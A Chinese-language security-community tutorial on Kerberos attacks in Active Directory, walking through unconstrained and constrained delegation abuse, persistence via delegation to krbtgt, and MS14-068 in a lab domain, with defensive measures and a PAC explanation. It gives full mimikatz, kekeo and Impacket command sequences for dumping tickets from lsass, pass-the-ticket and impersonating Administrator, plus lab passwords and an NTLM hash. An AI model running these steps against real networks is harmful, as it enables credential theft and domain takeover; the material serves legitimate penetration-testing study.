Kerberos协议及其漏洞(下)

sechub官方2023-08-03文章来源:SecHub网络安全社区


非约束委派攻击

非约束委派:当user访问service1时,如果service1的服务账号开启了unconstrained delegation(非约束委派),则当user访问service1时会将user的TGT发送给service1并保存在内存中以备下次重用,然后service1 就可以利用这张TGT以user的身份去访问域内的任何服务(任何服务是指user能访问的服务)了

操作环境:

•域:0day.org•域控:windows server 2008R2,主机名:OWA2010SP3,IP:192.168.3.142•域管账户:sqladmin•域内主机:windows 8,主机名:PC-mary-0day,IP:192.168.3.63,用户:mary(普通域用户)

:在Windows系统中,只有服务账号和主机账号的属性才有委派功能,普通用户默认是没有的

1.查找非约束委派主机账号

1.png

2.导出票据

先访问域控,可以看到是访问失败的

2.png

我们用sqladmin或者任意域管账号访问win8(这里域管账号登录在任意一台机器都可以)

3.png!

此时,在主机win8的lsass.exe内存中就会有域用户sqladmin的TGT票据。
我们在win8上以管理员权限运行mimikatz,执行以下命令

privilege::debug 导出票据sekurlsa::tickets /export

4.png

3.注入票据

用 mimikatz 将这个票据导入内存中,然后访问域控。

导入票据kerberos::ptt [0;33f6ebf]-2-0-60a00000-sqladmin@krbtgt-0DAY.ORG.kirbi查看票据kerberos::list

5.png

4.访问域控

5.png

约束性委派攻击

操作环境:

•域:0day.org•域内主机:windows 7,主机名:PC-jack-0day,IP:192.168.3.62,用户:jack•域控:OWA2010SP3

们设置了机器用户PC-jack-0day对OWA2010SP3的cifs服务的委派

1.查找约束性委派的主机账号

7.png

2.请求用户TGT

已经知道服务用户明文的条件下,我们可以用kekeo请求该用户的TGT

tgt::ask /user:PC-JACK-0DAY /domain:0day.org /password:password /ticket:test.kirbi

参数:
/user: 服务用户的用户名
/password: 服务用户的明文密码
/domain: 所在域名
/ticket: 指定票据名称,不过这个参数没有生效,可以忽略

kekeo同样也支持使用NTLM Hash
在请求服务用户的TGT那步直接把/password改成/NTLM即可

这里我们知道PC-JACK-0DAY的ntlm hash为:768623e06fae601be0c04759c87d93d3

我们执行:

tgt::ask /user:PC-JACK-0DAY /domain:0day.org /NTLM:768623e06fae601be0c04759c87d93d3 /ticket:test.kirbi

8.png

得到TGT_PC-JACK-0DAY@0DAY.ORG_krbtgt~0day.org@0DAY.ORG.kirbi

3.获取ST

然后我们可以使用这张TGT通过伪造s4u请求以administrator用户身份请求访问OWA2010SP3 CIFS的ST

tgs::s4u /tgt:TGT_PC-JACK-0DAY@0DAY.ORG_krbtgt~0day.org@0DAY.ORG.kirbi /user:Administrator@0day.org /service:cifs/OWA2010SP3.0day.org

9.png

S4U2Self获取到的ST1以及S4U2Proxy获取到的OWA2010SP3 CIFS服务的ST2会保存在当前目录下

4.注入ST2

然后我们用mimikatz将ST2导入当前会话即可

kerberos::ptt TGS_Administrator@0day.org@0DAY.ORG_cifs~OWA2010SP3.0day.org@0DAY.ORG.kirbi

10.png

5.访问域控

11.png

6.不知道服务用户密码的情况

如果我们不知道服务用户的明文和NTLM Hash,但是我们有了服务用户登陆的主机权限(需要本地管理员权限),我们可以用mimikatz直接从内存中把服务用户的TGT dump出来

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

12.png

sekurlsa::tickets是列出和导出所有会话的Kerberos票据,sekurlsa::ticketskerberos::list不同,sekurlsa是从内存读取,也就是从lsass进程读取,这也就是为什么sekurlsa::tickets /export需要管理员权限的原因。并且sekurlsa::tickets的导出不受密钥限制,sekurlsa可以访问其他会话(用户)的票证。
既然服务用户的TGT导出来了,我们就跳过tgt::ask请求TGT这步,直接tgs::s4u

tgs::s4u /tgt:[0;3e7]-2-1-40e00000-PC-JACK-0DAY$@krbtgt-0DAY.ORG.kirbi /user:Administrator@0day.org /service:cifs/OWA2010SP3.0day.org

13.png

kerberos::ptt TGS_Administrator@0day.org@0DAY.ORG_cifs~OWA2010SP3.0day.org@0DAY.ORG.kirbi

14.png

抓包分析约束性委派攻击过程

这里可以看到有6个请求

15.png

1.AS-REQ

可以看到用户PC-JACK-0DAY用户向KDC请求一张TGT

16.png

2.AS-REP

返回一张TGT,这张TGT代表的就是PC-JACK-0DAY这个用户

17.png

3.第一次的TGS-REQ和TGS-REP

用这张TGT发送S4U2self请求,以Administrator的名义向TGS申请了一张访问自身服务的票据,ST1

18.png

4.第二次的TGS-REQ和TGS-REP

得到ST1之后,然后会带上ST1再次向KDC发起SU42Proxy请求,以administrator的名义请求一张访问OWA2010SP3 cifs服务的票据,ST2

19.png

利用约束性委派进行权限维持

我们都知道TGT的生成是由krbtgt用户加密和签名的,如果我们能委派域上的用户去访问TGS,那么就可以伪造任意用户的TGT了,黄金票据通常情况下我们是用krbtgt的hash来伪造TGT,不过我们通过约束委派也能达到同样的效果。

TGS默认的spn是krbtgt/domain name,我们操作环境是krbtgt/QIYOU.COM
krbtgt默认是禁用的而且无法启用,所以我们无法使用界面来添加这个SPN。
我们可以使用powershell来添加

Import-Module ActiveDirectory$user = Get-ADUser test -Properties "msDS-AllowedToDelegateTo"Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/0day.org") }

我们控制的用户选择的是自己创建的 test 域用户。密码Yicunyiye123

•域控:OWA2010SP3 192.168.200.146•域:0day.org•攻击机:Kali

首先修改 kali 的/etc/hosts/文件,添加如下内容

192.168.200.146 0day.org192.168.200.146 OWA2010SP3

20.png

创建域用户test然后赋予SPN

21.png

然后在域控上配置test用户到krbtgt用户的约束性委派。

Import-Module ActiveDirectory$user = Get-ADUser test -Properties "msDS-AllowedToDelegateTo"Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/0day.org") }

22.png

23.png

可以看到test账户具有委派性

24.png

然后在kali上攻击

python3 getST.py -dc-ip 192.168.200.146 -spn krbtgt/0day.org -impersonate administrator 0day.org/test:Yicunyiye123

25.png

export KRB5CCNAME=administrator.ccachepython3 wmiexec.py -no-pass -k administrator@OWA2010SP3 -dc-ip 192.168.200.146

26.png

域委派的防御措施

因为委派比较实用我们也不能说直接简单粗暴关闭该功能。

1.高权限用户可以设置不能被委派

27.png

28.png

可以看到administrator是无法成功的,但是sqladmin可以

2.Windows 2012 R2及更高的系统建立了受保护的用户组,组内用户不允许被委派,这是有效的手段。受保护的用户组,当这个组内的用户登录时(windows 2012 R2域服务器,客户端必须为Windows 8.1或之上),不能使用NTLM认证;适用于Windows Server 2016Windows Server 2012 R2Windows Server 2012

3.一般TGT 4小时后失效

4.Kerberos预认证时不使用DES或者RC4等加密算法;

PAC

具体查看:[Windows内网协议学习Kerberos篇之PAC]

https://www.anquanke.com/post/id/192810

kerberos的流程:

1.用户向KDC发起AS_REQ,请求凭据是用户hash加密的时间戳,KDC使用用户hash进行解密,如果结果正确返回用krbtgt hash加密的TGT票据

2.用户凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求,KDC使用krbtgt hash进行解密,如果结果正确,就返回用服务hash 加密的TGS票据
3.用户拿着TGS票据去请求服务,服务使用自己的hash解密TGS票据。如果解密正确,就允许用户访问。

上面这个流程看起来没错,却忽略一个最重要的因素,那就是用户有没有权限访问该服务,在上面的流程里面,只要用户的hash正确,那么就可以拿到TGT,有了TGT,就可以拿到TGS,有了TGS,就可以访问服务,任何一个用户都可以访问任何服务。也就是说上面的流程解决了”Who am i?”的问题,并没有解决 “What can I do?”的问题。

在Kerberos最初设计的流程里说明了如何证明客户端的真实身份,但是并没有说明客户端是否有权限访问该服务,因为在域中不同权限的用户能够访问的资源是不同的。所以微软为了解决权限这个问题,引入了 PAC (Privilege Attribute Certificate,特权属性证书) 的概念。

MS14-068

MS14-068编号CVE-2014-6324,补丁为3011780,如果自检可在域控制器上使用命令检测。

systeminfo |find "3011780"

为空说明该服务器存在MS14-068漏洞

环境:
域机器:PC-JACK-0DAY,win7,知道一个域用户和密码:jack\0day,admin!@#45,拥有该机器的管理员权限
域控:OWA2010SP3,ip:192.168.3.142

1.生成票据

MS14-068.exe -u jack@0day.org -p admin!@#45 -s S-1-5-21-1812960810-2335050734-3517558805-1133 -d 192.168.3.142  #MS14-068.exe -u 域用户@0day.org -p 域用户jack密码 -s 域用户jack的SID -d 域控ip

29.png

可以看到生成了TGT_jack@0day.org.ccache

2.mimikatz导入票据

kerberos::ptc 票据路径

30.png

3.访问域控

31.png